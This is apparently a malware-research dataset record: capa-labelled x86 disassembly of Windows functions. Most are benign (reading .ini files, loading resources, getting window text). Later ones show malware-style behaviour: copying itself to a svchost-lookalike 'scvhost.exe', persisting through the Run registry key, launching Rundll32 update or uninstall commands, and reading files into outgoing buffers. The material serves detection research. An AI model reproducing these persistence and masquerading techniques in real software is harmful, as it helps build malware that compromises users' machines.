joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405660
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5319a6
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x58e3d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
push 0x541c9b
lea ecx, [ebp - 0x118]
call fcn.004010d0
push 0x541c9b
lea ecx, [ebp - 0x11c]
mov dword [ebp - 4], 0
call fcn.004010d0
push 0
push dword [esi]
mov byte [ebp - 4], 1
call fcn.005173ea
add esp, 8
test eax, eax
jne 0x4056da
push esi
lea ecx, [ebp - 0x118]
call fcn.004011d0
jmp 0x405703
push 0
push str.C:SYSTEM.SAVUTILPININST.LOG
call fcn.005173ea
add esp, 8
test eax, eax
jne 0x4057aa
push 0x1e
push str.C:SYSTEM.SAVUTILPININST.LOG
lea ecx, [ebp - 0x118]
call fcn.00405390
push dword [ebp - 0x118]
lea eax, [ebp - 0x114]
push 0x104
push eax
push 0x541c9b
push str.Result
push str.Mini_FBI
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x114]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405733
sub ecx, edx
push ecx
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00405390
lea eax, [ebp - 0x11c]
push eax
call fcn.00404cc0
mov eax, dword [ebp - 0x11c]
add esp, 4
cmp dword [eax - 0xc], 0
je 0x40577c
cmp dword [0x58f888], 0
je 0x4057a3
push dword [esi]
push str.FAILED
jmp 0x405793
cmp dword [0x58f888], 0
push dword [esi]
je 0x40578e
push str.FAILED
jmp 0x405793
push str.PASSED
push str.Result
push str.Mini_FBI
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov esi, 1
jmp 0x4057ac
xor esi, esi
mov edx, dword [ebp - 0x11c]
add edx, 0xfffffff0
or edi, 0xffffffff
mov byte [ebp - 4], 0
lea ecx, [edx + 0xc]
mov eax, edi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x4057d2
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ebx, dword [ebp - 0x118]
add ebx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebx + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x4057f6
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00517448
mov esp, ebp
pop ebp
ret

Function at 0x405970
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x405985
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4059c4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4059c0
lea ebx, [ebx]
cmp esi, edx
jae 0x4059c4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x4059b0
cmp esi, edx
jb 0x4059c9
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x40bf8d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
mov ecx, dword [esi + 4]
push eax
push dword [ebp + 0xc]
call fcn.0040c3b6
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x40bfc9
call fcn.0040c1a8
mov dword [esi + 0xc], 1
jmp 0x40bfce
call fcn.0040c1a8
cmp dword [esi], 0
je 0x40c017
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x40bff1
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.004076fc
jmp 0x40c002
push 0xff
mov ecx, esi
call fcn.00403900
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, esi
call fcn.0040771f
jmp 0x40c03b
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x40c03b
push dword [esi]
push dword [ebp - 4]
call fcn.0040b787
pop esi
leave
ret 0xc

Function at 0x40c0ff
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0040c1a8
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x40c147
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004076fc
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040771f
jmp 0x40c152
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0040b787
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x40c427
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x53a635
call fcn.00517bed
mov edi, ecx
xor esi, esi
cmp dword [edi + 0x6c], esi
jne 0x40c44d
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40c4a1
call fcn.00407a71
push eax
lea ecx, [ebp - 0x10]
call fcn.00401030
mov ecx, dword [edi + 0x6c]
lea edx, [ebp - 0x10]
mov eax, dword [ecx]
push edx
mov dword [ebp - 4], esi
call dword [eax + 0x8c]
mov edi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push edi
call fcn.00517b45
push eax
call fcn.004014d0
add esp, 0x14
test edi, edi
je 0x40c494
push edi
call fcn.00517d10
pop ecx
mov esi, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00404ca0
mov eax, esi
call fcn.00517bbb
ret 8
Function at 0x40e22c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x58e3d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x5915dc]
push esi
push edi
mov edi, dword [ebp + 8]
test eax, eax
jne 0x40e278
push 0x543444
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40e295
push str.SetDefaultDllDirectories
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_EncodePointer]
mov dword [0x5915dc], eax
jmp 0x40e281
push eax
call dword [sym.imp.KERNEL32.dll_DecodePointer]
mov esi, eax
test esi, esi
je 0x40e295
push 0x800
push 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x40e302
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x40e2b0
xor eax, eax
jmp 0x40e302
lea eax, [ebp - 0x210]
push eax
call fcn.00517df7
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x40e2e1
push 0x54347c
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0051a363
add esp, 0xc
test eax, eax
jne 0x40e2ac
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0051a363
add esp, 0xc
test eax, eax
jne 0x40e2ac
lea eax, [ebp - 0x210]
push eax
call fcn.0040bac3
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00517448
leave
ret

Function at 0x40eac9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov esi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], esi
je 0x40eb0e
call fcn.00408524
mov ebx, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40eb0e
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x40eb2a
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00416bc5
mov ebx, eax
test edi, edi
je 0x40eb28
test esi, esi
je 0x40eb28
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x417690
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebx + 0x78], edi
test edi, 0xffff0000
jne 0x4176b2
cmp dword [ebx + 0x74], 0
jne 0x4176b2
movzx eax, di
mov dword [ebx + 0x74], eax
call fcn.00408524
mov esi, dword [eax + 0xc]
push 5
push edi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00417918
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4176ec
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.00408524
mov ebx, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x417723
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.00417742
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x43258c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
test esi, esi
jne 0x4325a4
call fcn.00408524
mov esi, dword [eax + 0xc]
push 0x548e98
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
je 0x4325fa
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4325f9
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x4325da
xor esi, esi
jmp 0x4325f0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
call fcn.00432600
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4f94cf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
test byte [esi + 4], 1
push edi
mov dword [ebp - 4], ebx
je 0x4f94e9
mov edi, dword [esi + 0xc]
jmp 0x4f9529
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4f9502
call fcn.004151e7
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4f9517
call fcn.004151e7
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4f9529
call fcn.004151e7
call fcn.00408524
cmp dword [eax + 0x3c], 0
je 0x4f953e
push edi
mov ecx, ebx
call fcn.004f8d63
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004f9701
mov ebx, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x7c]
test ecx, ecx
je 0x4f9561
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
and dword [eax + 0x7c], 0
test ebx, ebx
je 0x4f956a
mov edi, ebx
mov dword [eax + 0x7c], ebx
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x52d25a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x58e3d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00525515
mov dword [ebp - 0x14], eax
cmp dword [0x595c08], edi
jne 0x52d34b
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x52d2d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x52d42b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x52d42b
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x52d42b
push eax
call ebx
push 0x56d6a8
push esi
mov dword [0x595c08], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x56d6b8
push esi
mov dword [0x595c0c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x595c10], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x595c18], eax
test eax, eax
je 0x52d348
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x595c14], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x52d370
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x52d363
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x52d385
push 4
pop eax
jmp 0x52d42d
cmp dword [ebp - 0x14], edi
je 0x52d385
push dword [0x595c08]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x52d36a
mov eax, dword [0x595c14]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x52d3e3
cmp dword [0x595c18], esi
je 0x52d3e3
push eax
call ebx
push dword [0x595c18]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x52d3e3
test eax, eax
je 0x52d3e3
call ecx
test eax, eax
je 0x52d3d8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x52d3d8
test byte [ebp - 8], 1
jne 0x52d3e3
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x52d413
mov eax, dword [0x595c0c]
cmp eax, esi
je 0x52d410
push eax
call ebx
test eax, eax
je 0x52d410
call eax
mov edi, eax
test edi, edi
je 0x52d410
mov eax, dword [0x595c10]
cmp eax, esi
je 0x52d410
push eax
call ebx
test eax, eax
je 0x52d410
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x595c08]
call ebx
test eax, eax
je 0x52d42b
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x52d42d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00517448
leave
ret
Function at 0x10002070
Capabilities:
Get file size

Disassembly:
sub esp, 0x18
push esi
push edi
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 0
lea eax, [edi + 0x18]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100020b0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10002140
pop edi
pop esi
add esp, 0x18
ret 4
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x100dcf90]
lea edx, [esp + 8]
push 4
lea eax, [esp + 0x15]
push edx
push eax
mov byte [esp + 0x1c], 0xdd
call fcn.10008d40
lea ecx, [esp + 0xc]
push 4
lea edx, [esp + 0x19]
push ecx
mov ecx, dword [0x100dcf90]
push edx
call fcn.10008d40
mov ecx, dword [0x100dcf90]
push 4
lea eax, [esp + 0x1d]
push 0x100dcf94
push eax
call fcn.10008d40
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x10]
push 0xd
push ecx
mov ecx, edi
call fcn.10008050
pop edi
pop esi
add esp, 0x18
ret 4
Function at 0x10003380
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
mov ebx, ecx
push ebp
push esi
lea edx, [ebx + 0x28]
push edi
mov ebp, dword [esp + 0x1c]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x14], ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 0x20]
cmp eax, 0xffffffff
je 0x100033cb
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebx + 0x20], eax
jne 0x100033f8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x17
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10008050
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4

Function at 0x10003480
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
mov ebx, ecx
cmp dword [edi], 0xffffffff
jne 0x1000349f
cmp dword [edi + 4], 0xffffffff
jne 0x1000349f
call fcn.10003530
pop edi
xor eax, eax
pop ebx
ret 4
mov eax, dword [edi + 4]
mov ecx, dword [ebx + 0x20]
push esi
push 0
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x32000
push 0x40
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x10]
push 0
push ecx
mov byte [esi], 0x18
mov edx, dword [edi]
mov dword [esi + 1], edx
mov eax, dword [edi + 4]
mov dword [esi + 5], eax
mov eax, dword [ebx + 0x20]
lea edx, [esi + 9]
push 0x31ff7
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x10003515
add eax, 9
mov ecx, ebx
push eax
push esi
call fcn.10008050
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebx
ret 4
mov ecx, ebx
call fcn.10003530
mov edi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebx
ret 4
Function at 0x10004f50
Capabilities:
Get common file path

Disassembly:
push ecx
xor eax, eax
push edi
push eax
mov ecx, 0x41
mov edi, 0x100dd5d8
push 0x1a
push 0x100dd5d8
push eax
rep stosd dword es:[edi], eax
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [0x100dcf90]
lea eax, [esp + 6]
push eax
push 0x100dd5d8
call fcn.10008d70
mov ecx, dword [esp + 0xc]
push ecx
mov ecx, dword [0x100dcf90]
push 0x100dd5d8
call fcn.10008d70
pop edi
pop ecx
ret

Function at 0x10005050
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ecx
mov al, byte [0x100d1964]
push esi
mov byte [esp + 4], al
mov eax, dword [0x100dd6e0]
xor esi, esi
test eax, eax
jne 0x1000514b
mov ecx, dword [esp + 0xc]
push ecx
call fcn.10004f50
add esp, 4
push 0x100dd5d8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000509b
push 0x7c
push 0x100dd5d8
call fcn.10004e70
add esp, 8
xor eax, eax
pop esi
pop ecx
ret
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x100dd5d8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x100dd5d0], eax
jne 0x100050c7
xor eax, eax
pop esi
pop ecx
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x100dd1c8], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x100dd1c8]
push 0
push 0x100dd5cc
push edx
mov dword [0x100dd6dc], eax
push eax
mov eax, dword [0x100dd5d0]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [0x100dd5d0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x100dd1c8]
mov eax, dword [0x100dd6dc]
push edx
push eax
call fcn.10004fb0
mov ecx, dword [0x100dd6dc]
push ecx
call fcn.10008150
add esp, 0xc
mov dword [0x100dd5d4], eax
test eax, eax
jne 0x1000513f
pop esi
pop ecx
ret
mov dword [0x100dd6e0], 1
jmp 0x10005150
mov eax, dword [0x100dd5d4]
mov edx, dword [esp + 0x10]
push edx
push eax
call fcn.100085d0
add esp, 8
test eax, eax
je 0x10005186
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 4]
push ecx
mov ecx, dword [0x100d12a8]
push str.127.0.0.1
push edx
push 0
push ecx
push 0x100dd6ec
call eax
add esp, 0x18
mov esi, eax
mov eax, esi
pop esi
pop ecx
ret

Function at 0x100052d0
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [0x100dd8f0]
sub esp, 0x208
lea eax, [esp]
push 0x104
push eax
push ecx
call dword [0x100dd924]
mov eax, dword [esp + 0x20c]
test eax, eax
je 0x10005316
lea edx, [esp]
push eax
push edx
lea eax, [esp + 0x10c]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x100dd990]
add esp, 0x10
jmp 0x10005331
lea ecx, [esp]
lea edx, [esp + 0x104]
push ecx
push str.Rundll32___s__Uninstall
push edx
call dword [0x100dd990]
add esp, 0xc
lea eax, [esp + 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x100ddb70], 1
add esp, 0x208
ret
Function at 0x100055e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2dc
push ebx
mov ebx, dword [esp + 0x2e4]
push esi
push edi
push 0x170
lea eax, [esp + 0x17c]
push ebx
push eax
call dword [0x100dda10]
mov ecx, 0x59
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0x284]
stosw word es:[edi], ax
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000564c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x2dc
ret
mov eax, dword [esp + 0x2f0]
lea edx, [esp + 0xc]
push 0
add eax, 0xfffffe90
push edx
add ebx, 0x170
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000567c
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
push esi
call dword [0x100dd934]
lea edi, [esp + 0x180]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100056bb
lea ecx, [esp + 0x180]
lea edx, [esp + 0x284]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s__s
push eax
call dword [0x100dd990]
add esp, 0x10
jmp 0x100056ce
lea ecx, [esp + 0x284]
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x17c]
sub eax, 0
je 0x10005707
dec eax
je 0x100056fe
sub eax, 2
jne 0x10005716
lea eax, [esp + 0x10]
push eax
call fcn.100052d0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
lea ecx, [esp + 0x10]
push 0
push ecx
jmp 0x1000570e
lea edx, [esp + 0x10]
push 5
push edx
call fcn.10005360
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2dc
ret

Function at 0x10005e80
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x164
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
lea edi, [esp + 0x36]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x6c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10005f2c
mov edx, dword [esp + 0x168]
lea ecx, [esp + 0x60]
push 0x104
push ecx
push 1
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x164
ret